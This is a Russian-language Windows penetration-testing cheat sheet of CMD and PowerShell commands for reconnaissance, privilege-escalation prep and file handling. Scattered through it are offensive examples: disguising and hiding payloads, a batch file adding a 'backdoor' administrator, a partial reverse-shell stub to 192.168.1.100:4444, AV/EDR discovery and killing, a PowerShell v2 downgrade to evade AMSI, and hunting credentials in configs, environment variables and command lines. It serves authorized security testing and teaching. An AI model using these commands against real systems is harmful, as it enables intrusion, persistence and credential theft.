# Windows Penetration Testing — Шпаргалка (CMD & PowerShell)

Руководство по разведке, повышению привилегий и латеральному движению в Windows-сетях.

---

## Плейсхолдеры

| Плейсхолдер | Описание |
|-------------|-------------|
| `<BIN_PATH>` | полный путь к исполняемому файлу службы |
| `<CMD>` | команда для выполнения |
| `<DC>` | hostname контроллера домена |
| `<DIR>` | стартовый каталог для поиска |
| `<DISPLAY_NAME>` | отображаемое имя службы |
| `<DLL>` | путь к DLL-файлу |
| `<DOMAIN>` | FQDN домена, напр. `corp.local` |
| `<DOMAIN_SID>` | SID домена, напр. `S-1-5-21-...` |
| `<DST>` | назначение при копировании/перемещении |
| `<EXT>` | расширение файла, напр. `*.kdbx` |
| `<FILE2>` | второй файл при сравнении |
| `<FILE>` | путь к локальному файлу |
| `<GROUP>` | имя группы AD |
| `<KRBTGT_HASH>` | NT-хэш аккаунта krbtgt |
| `<LHOST>` | IP атакующей / промежуточной машины |
| `<LINK>` | путь создаваемой ссылки |
| `<LPORT>` | локальный порт для проброса |
| `<NTHASH>` | NT-хэш учётной записи |
| `<OBJECT>` | имя объекта AD (пользователь, группа, компьютер) |
| `<OLD>` / `<NEW>` | старое / новое имя при переименовании |
| `<OU>` | путь к OU, напр. `OU=Users,DC=corp,DC=local` |
| `<OUT>` | путь к выходному файлу |
| `<PASSWORD>` | пароль учётной записи |
| `<PATTERN>` | искомая строка или regex |
| `<PID>` | числовой ID процесса |
| `<PORT>` | номер TCP/UDP-порта, напр. `4444` |
| `<PROC>` | имя процесса, напр. `lsass.exe` |
| `<PROFILE>` | профиль фаервола: `Domain`, `Private`, `Public` или `allprofiles` |
| `<PROG>` | полный путь к исполняемому файлу |
| `<PROTO>` | протокол: `TCP` или `UDP` |
| `<REAL>` | путь реального объекта — цели ссылки |
| `<RECORD_TYPE>` | тип DNS-записи: `A`, `PTR`, `SRV`, `MX`, `ANY` |
| `<REG_VALUE>` | имя записи в реестре |
| `<RPORT>` | удалённый порт назначения |
| `<RULE_NAME>` | произвольное имя правила фаервола |
| `<SERVICE>` | имя Kerberos-сервиса, напр. `cifs`, `http`, `mssql` |
| `<SESSION>` | переменная, хранящая PS-сессию |
| `<SHARE>` | имя или UNC-путь сетевой шары |
| `<SHARE_NAME>` | имя сетевой шары |
| `<SHARE_PATH>` | локальный путь, открываемый как шара |
| `<SPN>` | ServicePrincipalName, напр. `MSSQLSvc/sql01.corp.local:1433` |
| `<SRC>` | источник при копировании/перемещении |
| `<START>` / `<END>` | начало и конец диапазона портов, напр. `1` и `1024` |
| `<SVC_NAME>` | короткое системное имя службы, напр. `Spooler` |
| `<TARGET>` | IP или hostname целевого ПК |
| `<TASK_NAME>` | имя запланированной задачи |
| `<TEXT>` | текст для записи в файл |
| `<URL>` | URL для скачивания |
| `<USER>` | имя учётной записи |
| `<VARNAME>` | имя переменной окружения, напр. `PATH` |


## Блок 1 — Базовое администрирование Windows (CMD / PowerShell)

Навигация, файлы, состояние ОС, процессы, память, диски, обзор сети и пользователей.  
⚠️ — особенно полезно на этапе enumeration и privesc.  
Только для авторизованного тестирования.

---

### Раздел 1. Навигация по файловой системе

---

#### 1. Смена рабочей директории

**Задача:** Перейти в нужный каталог перед выполнением команд. В CMD флаг `/d` обязателен при смене диска — без него переход в другой раздел молча игнорируется.

**CMD — формат:**
```
cd /d <DIR>
```

**CMD — пример:** перейти на диск D в папку с инструментами:
```
cd /d D:\Tools\pentest
```

**PowerShell — формат:**
```powershell
Set-Location <DIR>
```

**PowerShell — пример:**
```powershell
Set-Location D:\Tools\pentest
```

---

#### 2. Просмотр содержимого каталога

**Задача:** Посмотреть, что лежит в директории. Рекурсивный режим со скрытыми файлами критичен при разведке — позволяет найти конфиги, артефакты и дропы. Сортировка по дате выводит свежие изменения наверх. ⚠️

**CMD — формат:** обычный список / рекурсивно со скрытыми «голые» пути / по дате убывания:
```
dir <DIR>
dir /a /s /b <DIR>
dir /o:-d <DIR>
```

**CMD — пример:** рекурсивно обойти профили пользователей, включая скрытые файлы:
```
dir /a /s /b C:\Users
```

**PowerShell — формат:**
```powershell
Get-ChildItem <DIR>
Get-ChildItem <DIR> -Recurse -Force
Get-ChildItem <DIR> -Recurse -Force | Sort-Object LastWriteTime -Descending
```

**PowerShell — пример:** рекурсивно C:\Users со скрытыми, свежие первыми:
```powershell
Get-ChildItem C:\Users -Recurse -Force | Sort-Object LastWriteTime -Descending
```

---

#### 3. Поиск исполняемого файла в PATH

**Задача:** Выяснить, по какому пути запускается утилита из командной строки. Нужно убедиться, что нужный инструмент установлен и не подменён.

**CMD — формат:**
```
where <PROG>
```

**CMD — пример:** найти путь к `python`:
```
where python
```

**PowerShell — формат:**
```powershell
(Get-Command <PROG>).Source
```

**PowerShell — пример:**
```powershell
(Get-Command python).Source
```

---

#### 4. Монтирование сетевого пути и стек директорий

**Задача:** `pushd` с UNC-путём (`\\хост\шара`) автоматически монтирует шару как диск и переходит в неё — без явного `net use`. `popd` возвращает обратно и отмонтирует диск. ⚠️

**CMD — формат:** `<TARGET>` — имя или IP хоста, `<SHARE>` — имя шары:
```
pushd \\<TARGET>\<SHARE>
popd
```

**CMD — пример:** смонтировать шару `data` на DC01 и работать с ней как с локальным диском:
```
pushd \\DC01\data
popd
```

**PowerShell — формат:**
```powershell
Push-Location \\<TARGET>\<SHARE>
Pop-Location
```

**PowerShell — пример:**
```powershell
Push-Location \\DC01\data
Pop-Location
```

---

### Раздел 2. Операции с файлами и папками

---

#### 5. Копирование файлов и деревьев каталогов

**Задача:** Скопировать файл или целое дерево. `robocopy` предпочтительнее `xcopy` для сетевых путей — он устойчив к ошибкам, умеет повторять попытки и сохраняет атрибуты.

**CMD — формат:** один файл / дерево с подпапками:
```
copy <SRC> <DST>
robocopy <SRC> <DST> /e /copyall
```

**CMD — пример:** скопировать дерево `C:\Logs` в `D:\Backup` включая пустые папки:
```
robocopy C:\Logs D:\Backup /e
```

**PowerShell — формат:**
```powershell
Copy-Item <SRC> <DST>
Copy-Item <SRC> <DST> -Recurse
```

**PowerShell — пример:**
```powershell
Copy-Item C:\Logs D:\Backup -Recurse
```

---

#### 6. Перемещение и переименование объектов

**Задача:** Переместить файл или каталог в другое место, либо переименовать. Если `<DST>` — имя в той же директории, происходит переименование без перемещения.

**CMD — формат:**
```
move <SRC> <DST>
ren <OLD> <NEW>
```

**CMD — пример:** переименовать пейлоад под легитимное имя:
```
ren C:\Temp\shell.exe svchost32.exe
```

**PowerShell — формат:**
```powershell
Move-Item <SRC> <DST>
Rename-Item <OLD> <NEW>
```

**PowerShell — пример:**
```powershell
Rename-Item C:\Temp\shell.exe svchost32.exe
```

---

#### 7. Удаление файлов и каталогов

**Задача:** Принудительно удалить файл или папку с содержимым. `/f` снимает атрибут «только чтение», `/q` убирает запрос подтверждения.

**CMD — формат:** файл / папка с содержимым:
```
del /f /q <FILE>
rmdir /s /q <DIR>
```

**CMD — пример:** удалить рабочую папку и всё, что в ней:
```
del /f /q C:\Temp\payload.exe
rmdir /s /q C:\Temp\workdir
```

**PowerShell — формат:**
```powershell
Remove-Item <FILE> -Force
Remove-Item <DIR> -Recurse -Force
```

**PowerShell — пример:**
```powershell
Remove-Item C:\Temp\payload.exe -Force
Remove-Item C:\Temp\workdir -Recurse -Force
```

---

#### 8. Создание файлов и каталогов

**Задача:** Создать папку или пустой файл-заглушку из командной строки без GUI.

**CMD — формат:** папка / пустой файл:
```
mkdir <DIR>
echo. > <FILE>
```

**CMD — пример:** создать папку для дампа и пустой файл-маркер:
```
mkdir C:\Temp\loot
echo. > C:\Temp\loot\.keep
```

**PowerShell — формат:**
```powershell
New-Item -ItemType Directory <DIR>
New-Item -ItemType File <FILE>
```

**PowerShell — пример:**
```powershell
New-Item -ItemType Directory C:\Temp\loot
New-Item -ItemType File C:\Temp\loot\.keep
```

---

#### 9. Символические ссылки и junction-точки

**Задача:** Создать симлинк или junction-точку. Используется в атаках на привилегированные сервисы: сервис пишет по пути `<LINK>`, симлинк перенаправляет запись в `<REAL>`. Требует прав администратора или привилегии `SeCreateSymbolicLinkPrivilege`. ⚠️

**CMD — формат:** симлинк файла / симлинк каталога (`/d`) / junction (`/j`). `<LINK>` — путь ссылки, `<REAL>` — реальная цель:
```
mklink <LINK> <REAL>
mklink /d <LINK> <REAL>
mklink /j <LINK> <REAL>
```

**CMD — пример:** junction из `C:\Temp\link` на `C:\Windows\System32`:
```
mklink /j C:\Temp\link C:\Windows\System32
```

**PowerShell — формат:**
```powershell
New-Item -ItemType SymbolicLink -Path <LINK> -Target <REAL>
```

**PowerShell — пример:**
```powershell
New-Item -ItemType SymbolicLink -Path C:\Temp\link -Target C:\Windows\System32
```

---

#### 10. Управление атрибутами файла

**Задача:** Скрыть файл от обычного пользователя (`+h +s`) или снять атрибуты. Комбинация `hidden + system` скрывает объект даже от `dir` без флага `/a`. ⚠️

**CMD — формат:** скрыть / показать. `<FILE>` — путь к файлу:
```
attrib +h +s <FILE>
attrib -h -s -r <FILE>
```

**CMD — пример:** спрятать пейлоад в AppData:
```
attrib +h +s C:\Users\victim\AppData\Local\update.exe
```

**PowerShell — формат:**
```powershell
(Get-Item <FILE>).Attributes += 'Hidden,System'
(Get-Item <FILE>).Attributes = 'Normal'
```

**PowerShell — пример:**
```powershell
(Get-Item C:\Users\victim\AppData\Local\update.exe).Attributes += 'Hidden,System'
```

---

### Раздел 3. Просмотр и редактирование содержимого

---

#### 11. Вывод содержимого файла

**Задача:** Прочитать текстовый файл прямо в терминале. Нужно для быстрого просмотра конфигов, логов и файлов с секретами без открытия GUI-редактора.

**CMD — формат:** всё сразу / постранично:
```
type <FILE>
more <FILE>
```

**CMD — пример:** прочитать web.config в поисках строк подключения к БД:
```
type C:\inetpub\wwwroot\web.config
```

**PowerShell — формат:**
```powershell
Get-Content <FILE>
Get-Content <FILE> | more
```

**PowerShell — пример:**
```powershell
Get-Content C:\inetpub\wwwroot\web.config
```

---

#### 12. Поиск строки в файле

**Задача:** Найти строки, содержащие нужный паттерн — аналог `grep` в Linux. Незаменимо при охоте за паролями, токенами и путями в конфигах. ⚠️

**CMD — формат:** `/i` отключает учёт регистра. `<PATTERN>` — искомая строка:
```
type <FILE> | findstr /i "<PATTERN>"
```

**CMD — пример:** найти строки с паролями в web.config:
```
type C:\inetpub\wwwroot\web.config | findstr /i "password"
```

**PowerShell — формат:**
```powershell
Select-String -Path <FILE> -Pattern "<PATTERN>"
```

**PowerShell — пример:** искать сразу несколько вариантов через regex:
```powershell
Select-String -Path C:\inetpub\wwwroot\web.config -Pattern "password|passwd|pwd|connectionstring"
```

---

#### 13. Запись текста в файл

**Задача:** Записать строку в файл без редактора. `>` перезаписывает файл целиком, `>>` дописывает в конец. Полезно при формировании конфигов и логов из скриптов.

**CMD — формат:**
```
echo <TEXT> > <FILE>
echo <TEXT> >> <FILE>
```

**CMD — пример:** создать файл с заметкой, затем дозаписать в него:
```
echo target=192.168.1.10 > C:\Temp\notes.txt
echo port=4444 >> C:\Temp\notes.txt
```

**PowerShell — формат:**
```powershell
Set-Content <FILE> '<TEXT>'
Add-Content <FILE> '<TEXT>'
```

**PowerShell — пример:**
```powershell
Set-Content C:\Temp\notes.txt 'target=192.168.1.10'
Add-Content C:\Temp\notes.txt 'port=4444'
```

---

#### 14. Кодирование файла в Base64

**Задача:** Упаковать бинарный файл в Base64 для передачи через текстовые каналы — буфер обмена, переменную окружения, HTTP-запрос. Обратная операция — распаковка на стороне получателя. ⚠️

**CMD — формат:** `<FILE>` — исходный файл, `<OUT>` — выходной файл с Base64:
```
certutil -encode <FILE> <OUT>
certutil -decode <FILE> <OUT>
```

**CMD — пример:** закодировать `nc.exe` в текстовый файл и обратно:
```
certutil -encode C:\Temp\nc.exe C:\Temp\nc.b64.txt
certutil -decode C:\Temp\nc.b64.txt C:\Temp\nc_restored.exe
```

**PowerShell — формат:**
```powershell
[Convert]::ToBase64String([IO.File]::ReadAllBytes('<FILE>'))
[IO.File]::WriteAllBytes('<OUT>', [Convert]::FromBase64String((Get-Content '<FILE>')))
```

**PowerShell — пример:** вывести Base64 прямо в консоль для копирования:
```powershell
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Temp\nc.exe'))
```

---

#### 15. Запись многострочного скрипта без редактора

**Задача:** Создать `.ps1` или `.bat` одной командой, не открывая редактор. Критично при работе через reverse shell или ограниченный терминал, где GUI недоступен.

**CMD — формат:** `<FILE>` — выходной файл, каждую строку скрипта дописываем через `>>`:
```
echo @echo off > <FILE>
echo <СТРОКА_1> >> <FILE>
echo <СТРОКА_2> >> <FILE>
```

**CMD — пример:** создать bat-файл, добавляющий локального администратора:
```
echo @echo off > C:\Temp\adduser.bat
echo net user backdoor P@ssw0rd! /add >> C:\Temp\adduser.bat
echo net localgroup administrators backdoor /add >> C:\Temp\adduser.bat
```

**PowerShell — формат:** here-string `@'...'@` — всё между метками передаётся буквально. `<FILE>` — выходной файл:
```powershell
@'
<СОДЕРЖИМОЕ СКРИПТА>
'@ | Out-File -Encoding ascii <FILE>
```

**PowerShell — пример:** дроп PS-скрипта с командой для обратного соединения:
```powershell
@'
$client = New-Object Net.Sockets.TCPClient('192.168.1.100', 4444)
$stream = $client.GetStream()
[byte[]]$buf = 0..65535 | % { 0 }
'@ | Out-File -Encoding ascii C:\Temp\shell.ps1
```

---

### Раздел 4. Информация о системе

---

#### 16. Полная системная информация

**Задача:** Получить максимум данных об ОС, железе, патчах, домене и сети за один запуск. Первый шаг на новом хосте — патчевый уровень напрямую определяет применимые LPE-эксплойты. ⚠️

**CMD — формат:**
```
systeminfo
```

**CMD — пример:** сохранить вывод в файл для офлайн-анализа:
```
systeminfo > C:\Temp\sysinfo.txt
```

**PowerShell — формат:**
```powershell
Get-ComputerInfo
```

**PowerShell — пример:** вывести только ключевые поля:
```powershell
Get-ComputerInfo | Select-Object WindowsProductName, WindowsVersion, CsDomain, CsUserName, OsHardwareAbstractionLayer
```

---

#### 17. Версия ОС и разрядность

**Задача:** Быстро узнать версию и разрядность без полного `systeminfo`. Нужно для подбора правильного эксплойта или пейлоада (x86/x64).

**CMD — формат:**
```
wmic os get caption,osarchitecture,version
```

**CMD — пример:**
```
wmic os get caption,osarchitecture,version
```

**PowerShell — формат:**
```powershell
Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, OSArchitecture
```

**PowerShell — пример:**
```powershell
Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, OSArchitecture
```

---

#### 18. Установленные обновления (hotfix / KB)

**Задача:** Посмотреть список KB-патчей и даты их установки. Отсутствие свежих патчей — прямой индикатор уязвимости к публичным LPE (EternalBlue, PrintSpooler и т.п.). ⚠️

**CMD — формат:**
```
wmic qfe list brief
```

**CMD — пример:** проверить, установлен ли конкретный патч — замените `KB5034441` на нужный номер KB:
```
wmic qfe list brief | findstr KB5034441
```

**PowerShell — формат:**
```powershell
Get-HotFix
```

**PowerShell — пример:** последние 10 патчей, свежие первыми:
```powershell
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 10
```

---

#### 19. Переменные окружения

**Задача:** Просмотреть все env-переменные. Нередко в них хранятся токены API, пути к конфигам и учётные данные приложений. ⚠️

**CMD — формат:** все переменные / одна переменная — `<VARNAME>` замените на имя переменной:
```
set
echo %<VARNAME>%
```

**CMD — пример:** найти переменные с чувствительными ключевыми словами:
```
set | findstr /i "pass token api key secret"
```

**PowerShell — формат:**
```powershell
Get-ChildItem Env:
$env:<VARNAME>
```

**PowerShell — пример:** отфильтровать потенциально чувствительные переменные:
```powershell
Get-ChildItem Env: | Where-Object { $_.Name -match 'pass|token|api|key|secret' }
```

---

#### 20. Аптайм и дата последней загрузки

**Задача:** Узнать, когда машина последний раз перезагружалась. Долгий аптайм = скорее всего не патчилась давно; недавняя перезагрузка после изменений = на хосте кто-то активно работал.

**CMD — формат:**
```
net statistics workstation | find "since"
```

**CMD — пример:**
```
net statistics workstation | find "since"
```

**PowerShell — формат:**
```powershell
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
```

**PowerShell — пример:** вычислить аптайм в днях:
```powershell
$boot = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
[int]((Get-Date) - $boot).TotalDays
```

---

#### 21. Установленный программный стек

**Задача:** Найти потенциально уязвимое ПО: устаревший OpenSSL, Tomcat без патчей, незащищённые VNC-клиенты. Реестровый метод в PowerShell значительно быстрее медленного `wmic product`. ⚠️

**CMD — формат:** *(медленно, опрашивает WMI)*
```
wmic product get name,version
```

**CMD — пример:** найти конкретный продукт:
```
wmic product get name,version | findstr /i "tomcat"
```

**PowerShell — формат:** *(через реестр, быстро)*
```powershell
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*' |
  Get-ItemProperty |
  Select-Object DisplayName, DisplayVersion |
  Sort-Object DisplayName
```

**PowerShell — пример:** найти все установленные JDK/JRE:
```powershell
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*' |
  Get-ItemProperty |
  Where-Object { $_.DisplayName -match 'java|jdk|jre' } |
  Select-Object DisplayName, DisplayVersion
```

---

#### 22. Установленные драйверы

**Задача:** Найти сторонние драйверы для атаки BYOVD (Bring Your Own Vulnerable Driver) — драйверы работают в Ring 0 и уязвимые из них можно использовать для LPE или отключения защиты. ⚠️

**CMD — формат:**
```
driverquery /fo list /v
```

**CMD — пример:** показать только не-Microsoft драйверы:
```
driverquery | findstr /v "Microsoft"
```

**PowerShell — формат:**
```powershell
Get-CimInstance Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer
```

**PowerShell — пример:** только сторонние, отсортированные по производителю:
```powershell
Get-CimInstance Win32_PnPSignedDriver |
  Where-Object { $_.Manufacturer -notmatch 'Microsoft' } |
  Select-Object DeviceName, DriverVersion, Manufacturer |
  Sort-Object Manufacturer
```

---

### Раздел 5. Процессы и память

---

#### 23. Список запущенных процессов

**Задача:** Увидеть, что работает на машине: защитные решения (AV, EDR), серверные сервисы, подозрительные имена. Флаг `/svc` даёт связку PID ↔ служба, что нужно при работе со службами. ⚠️

**CMD — формат:** базовый / с пользователями и путями / PID↔службы:
```
tasklist
tasklist /v
tasklist /svc
```

**CMD — пример:** проверить, работают ли Defender / сторонний AV:
```
tasklist | findstr /i "defender malware avp mssec cylance"
```

**PowerShell — формат:**
```powershell
Get-Process
Get-Process | Select-Object Name, Id, Path, Company
```

**PowerShell — пример:** найти потенциальные AV/EDR-процессы:
```powershell
Get-Process | Where-Object { $_.Name -match 'defender|avp|mssec|edr|cylance|sentinel|cb' } |
  Select-Object Name, Id, Path
```

---

#### 24. Командные строки запущенных процессов

**Задача:** Прочитать аргументы, с которыми запущены процессы. Пароли, токены и пути к конфигам нередко передаются прямо в cmdline — видно без дополнительных привилегий. ⚠️

**CMD — формат:**
```
wmic process get name,processid,commandline
```

**CMD — пример:** посмотреть cmdline только java-процессов:
```
wmic process where "name='java.exe'" get name,processid,commandline
```

**PowerShell — формат:**
```powershell
Get-CimInstance Win32_Process | Select-Object Name, ProcessId, CommandLine
```

**PowerShell — пример:** найти процессы с паролями в аргументах:
```powershell
Get-CimInstance Win32_Process |
  Where-Object { $_.CommandLine -match 'pass|pwd|password|secret|token' } |
  Select-Object Name, ProcessId, CommandLine
```

---

#### 25. Завершение процесса

**Задача:** Остановить процесс — например, попытаться убить AV-агент (при наличии прав) или завершить зависший процесс.

**CMD — формат:** по PID / по имени:
```
taskkill /pid <PID> /f
taskkill /im <PROC> /f
```

**CMD — пример:** принудительно завершить процесс с PID 1337:
```
taskkill /pid 1337 /f
```

**PowerShell — формат:**
```powershell
Stop-Process -Id <PID> -Force
Stop-Process -Name <PROC> -Force
```

**PowerShell — пример:**
```powershell
Stop-Process -Id 1337 -Force
```

---

#### 26. Объём и использование оперативной памяти

**Задача:** Оценить ресурсы хоста — сколько RAM всего и сколько свободно. Полезно при планировании тяжёлых операций: дамп памяти, запуск сканера, виртуалка.

**CMD — формат:**
```
systeminfo | findstr /C:"Total Physical" /C:"Available Physical"
```

**CMD — пример:**
```
systeminfo | findstr /C:"Total Physical" /C:"Available Physical"
```

**PowerShell — формат:**
```powershell
Get-CimInstance Win32_OperatingSystem |
  Select-Object @{n='TotalGB'; e={[math]::Round($_.TotalVisibleMemorySize/1MB, 2)}},
                @{n='FreeGB';  e={[math]::Round($_.FreePhysicalMemory/1MB, 2)}}
```

**PowerShell — пример:**
```powershell
Get-CimInstance Win32_OperatingSystem |
  Select-Object @{n='TotalGB'; e={[math]::Round($_.TotalVisibleMemorySize/1MB, 2)}},
                @{n='FreeGB';  e={[math]::Round($_.FreePhysicalMemory/1MB, 2)}}
```

---

#### 27. Топ процессов по потреблению памяти

**Задача:** Найти, что съедает RAM. Нагруженный процесс с большим рабочим множеством — хороший кандидат для DLL-инъекции: шум потребления теряется на фоне. ⚠️

*CMD-эквивалента с сортировкой по памяти нет — используйте PowerShell.*

**PowerShell — формат:** `N` — количество процессов в топе:
```powershell
Get-Process | Sort-Object WS -Descending | Select-Object -First <N> Name, @{n='MB'; e={[int]($_.WS/1MB)}}
```

**PowerShell — пример:** топ-10:
```powershell
Get-Process | Sort-Object WS -Descending | Select-Object -First 10 Name, @{n='MB'; e={[int]($_.WS/1MB)}}
```

---

### Раздел 6. Диски и хранилище

---

#### 28. Свободное место на томах

**Задача:** Оценить наполненность дисков перед тем, как копировать дампы, логи и инструменты. Нет смысла запускать дамп lsass, если некуда сохранить.

**CMD — формат:**
```
wmic logicaldisk get deviceid,volumename,size,freespace,filesystem
```

**CMD — пример:** краткий вывод — только буква, размер и свободно:
```
wmic logicaldisk get deviceid,freespace,size
```

**PowerShell — формат:**
```powershell
Get-PSDrive -PSProvider FileSystem
```

**PowerShell — пример:** в гигабайтах в читаемой таблице:
```powershell
Get-PSDrive -PSProvider FileSystem |
  Select-Object Name,
    @{n='UsedGB'; e={[int]($_.Used/1GB)}},
    @{n='FreeGB'; e={[int]($_.Free/1GB)}}
```

---

#### 29. Размер каталога

**Задача:** Узнать, сколько занимает папка — аналог `du -sh` в Linux. Помогает оценить, стоит ли эксфильтровать содержимое, не качая всё вслепую. `<DIR>` замените на нужный путь.

*CMD-эквивалента нет — используйте PowerShell.*

**PowerShell — формат:**
```powershell
(Get-ChildItem <DIR> -Recurse -File -ErrorAction SilentlyContinue |
  Measure-Object -Property Length -Sum).Sum / 1MB
```

**PowerShell — пример:** размер профиля пользователя `victim` в МБ:
```powershell
(Get-ChildItem C:\Users\victim -Recurse -File -EA SilentlyContinue |
  Measure-Object -Property Length -Sum).Sum / 1MB
```

---

#### 30. Подключённые сетевые диски

**Задача:** Посмотреть смонтированные сетевые шары. Готовые сетевые диски — прямой путь к файлам на других хостах без дополнительной авторизации. ⚠️

**CMD — формат:**
```
net use
```

**CMD — пример:**
```
net use
```

**PowerShell — формат:**
```powershell
Get-SmbMapping
```

**PowerShell — пример:** с путём и статусом:
```powershell
Get-SmbMapping | Select-Object LocalPath, RemotePath, Status
```

---

### Раздел 7. Быстрый обзор сети *(детально — Блок 2)*

---

#### 31. Сетевые интерфейсы и IP-конфигурация

**Задача:** Узнать IP, маску, шлюз, DNS и MAC всех адаптеров. Несколько интерфейсов = возможный пивот в другую подсеть. ⚠️

**CMD — формат:**
```
ipconfig /all
```

**CMD — пример:** сохранить в файл:
```
ipconfig /all > C:\Temp\net.txt
```

**PowerShell — формат:**
```powershell
Get-NetIPConfiguration
Get-NetIPAddress -AddressFamily IPv4
```

**PowerShell — пример:** только IPv4-адреса с именами интерфейсов:
```powershell
Get-NetIPAddress -AddressFamily IPv4 | Select-Object InterfaceAlias, IPAddress, PrefixLength
```

---

#### 32. Проверка доступности хоста

**Задача:** Убедиться, что хост отвечает, прежде чем пытаться к нему подключиться. `<TARGET>` — IP или hostname цели.

**CMD — формат:** `-n 1` — один пакет, `-w 500` — таймаут 500 мс:
```
ping -n 1 -w 500 <TARGET>
```

**CMD — пример:**
```
ping -n 1 -w 500 192.168.1.10
```

**PowerShell — формат:**
```powershell
Test-Connection <TARGET> -Count 1
```

**PowerShell — пример:**
```powershell
Test-Connection 192.168.1.10 -Count 1
```

---

#### 33. Проверка открытого TCP-порта

**Задача:** Проверить, слушает ли сервис на нужном порту без стороннего сканера. `<TARGET>` — IP или hostname, `<PORT>` — номер порта. ⚠️

*В CMD встроенного аналога нет. Если установлен Telnet-клиент: `telnet <TARGET> <PORT>`*

**PowerShell — формат:**
```powershell
Test-NetConnection -ComputerName <TARGET> -Port <PORT>
```

**PowerShell — пример:** проверить SMB (445) на DC:
```powershell
Test-NetConnection -ComputerName 192.168.1.10 -Port 445
```

---

#### 34. ARP-кэш — активные хосты в подсети

**Задача:** Показать MAC-адреса соседей, с которыми хост уже общался. Позволяет быстро увидеть живые машины в сегменте без активного сканирования. ⚠️

**CMD — формат:**
```
arp -a
```

**CMD — пример:** показать кэш только для конкретного интерфейса — `<TARGET>` замените на IP нужного интерфейса:
```
arp -a -N 192.168.1.50
```

**PowerShell — формат:**
```powershell
Get-NetNeighbor
```

**PowerShell — пример:** только IPv4, только активные записи:
```powershell
Get-NetNeighbor -AddressFamily IPv4 | Where-Object State -eq 'Reachable'
```

---

#### 35. Поиск контроллеров домена через DNS

**Задача:** Найти адреса DC через SRV-запись — стандартный способ без обращения к AD-инструментам. `<DOMAIN>` замените на FQDN домена. ⚠️

**CMD — формат:**
```
nslookup -type=srv _ldap._tcp.dc._msdcs.<DOMAIN>
```

**CMD — пример:**
```
nslookup -type=srv _ldap._tcp.dc._msdcs.corp.local
```

**PowerShell — формат:**
```powershell
Resolve-DnsName -Type SRV _ldap._tcp.dc._msdcs.<DOMAIN>
```

**PowerShell — пример:**
```powershell
Resolve-DnsName -Type SRV _ldap._tcp.dc._msdcs.corp.local
```

---

#### 36. Таблица маршрутизации

**Задача:** Показать, какие подсети доступны через хост. Маршруты в дополнительные VLAN/подсети — индикатор возможного пивота. ⚠️

**CMD — формат:** только IPv4-маршруты:
```
route print -4
```

**CMD — пример:**
```
route print -4
```

**PowerShell — формат:**
```powershell
Get-NetRoute -AddressFamily IPv4
```

**PowerShell — пример:** только маршруты со шлюзом (не локальные):
```powershell
Get-NetRoute -AddressFamily IPv4 | Where-Object { $_.NextHop -ne '0.0.0.0' }
```

---

### Раздел 8. Пользователи и доступ *(детально — Блок 3)*

---

#### 37. Текущий контекст, группы и привилегии токена

**Задача:** Первое, что смотрим на новом хосте — от чьего имени работаем, в каких группах состоим, какие привилегии активны. `SeImpersonatePrivilege`, `SeBackupPrivilege`, `SeDebugPrivilege` — прямой путь к LPE. ⚠️

**CMD — формат:** полный вывод / только привилегии / только группы:
```
whoami /all
whoami /priv
whoami /groups
```

**CMD — пример:** сохранить для офлайн-анализа:
```
whoami /all > C:\Temp\whoami.txt
```

*PowerShell-эквивалента нет. `whoami` — внешний бинарь, работает и из PS-сессии.*

---

#### 38. Локальные пользователи и группы

**Задача:** Посмотреть, кто есть на системе и кто входит в локальных администраторов. Свежесозданный пользователь в группе Administrators — признак бэкдора. ⚠️

**CMD — формат:**
```
net user
net user <USER>
net localgroup administrators
```

**CMD — пример:** список пользователей и состав Administrators:
```
net user
net localgroup administrators
```

**PowerShell — формат:**
```powershell
Get-LocalUser
Get-LocalGroupMember -Group Administrators
```

**PowerShell — пример:** пользователи с датой последнего входа и статусом:
```powershell
Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet | Sort-Object LastLogon -Descending
```

---

#### 39. Активные сессии на хосте

**Задача:** Увидеть, кто сейчас залогинен — интерактивно или через RDP. Наличие других сессий означает, что мы не одни: действуем осторожнее. ⚠️

**CMD — формат:**
```
query user
qwinsta
```

**CMD — пример:**
```
query user
```

*PowerShell-встроенного аналога нет — используйте CMD-команды из PS-сессии.*

---

### Раздел 9. PowerShell — самопомощь и исследование объектов

---

#### 40. Поиск нужного командлета

**Задача:** Найти командлет по маске, когда не помните точного названия — например, всё связанное с сетью, процессами или службами.

*CMD-эквивалента нет.*

**PowerShell — формат:** `<PATTERN>` — часть имени командлета:
```powershell
Get-Command *<PATTERN>*
```

**PowerShell — пример:** все командлеты для работы с сетью:
```powershell
Get-Command *net*
```

---

#### 41. Исследование структуры вывода

**Задача:** Узнать, какие свойства и методы есть у объекта, чтобы фильтровать и трансформировать вывод. Ключевой паттерн в PowerShell: сначала `| Get-Member`, затем `| Select-Object`. ⚠️

*CMD-эквивалента нет.*

**PowerShell — формат:**
```powershell
<команда> | Get-Member
<команда> | Format-List *
```

**PowerShell — пример:** изучить объект процесса и вывести все его поля:
```powershell
Get-Process | Get-Member
Get-Process svchost | Select-Object -First 1 | Format-List *
```

---

#### 42. Версия PowerShell

**Задача:** Узнать версию PS. PowerShell v2 не имеет AMSI и Script Block Logging — атакующие намеренно даунгрейдятся до него для обхода защиты. ⚠️

*CMD-эквивалента нет.*

**PowerShell — формат:**
```powershell
$PSVersionTable
```

**PowerShell — пример:** проверить, доступен ли v2 для даунгрейда — запускается отдельным процессом:
```powershell
powershell -version 2 -command $PSVersionTable
```

---

#### 43. Рекурсивный поиск секретов в файлах

**Задача:** Обойти ФС и найти файлы, содержащие пароли, токены и другие чувствительные данные. Базовый паттерн охоты за секретами — детально развёрнут в Блоке 3. `<DIR>` — стартовый каталог, `<EXTS>` — список расширений через запятую, `<PATTERN>` — regex. ⚠️

*CMD-эквивалента с рекурсивным поиском по содержимому нет — используйте PowerShell.*

**PowerShell — формат:**
```powershell
Get-ChildItem <DIR> -Recurse -File -Include <EXTS> -ErrorAction SilentlyContinue |
  Select-String -Pattern "<PATTERN>" |
  Select-Object Path, LineNumber, Line
```

**PowerShell — пример:** искать строки с паролями в конфигах и текстовых файлах по всему диску C:
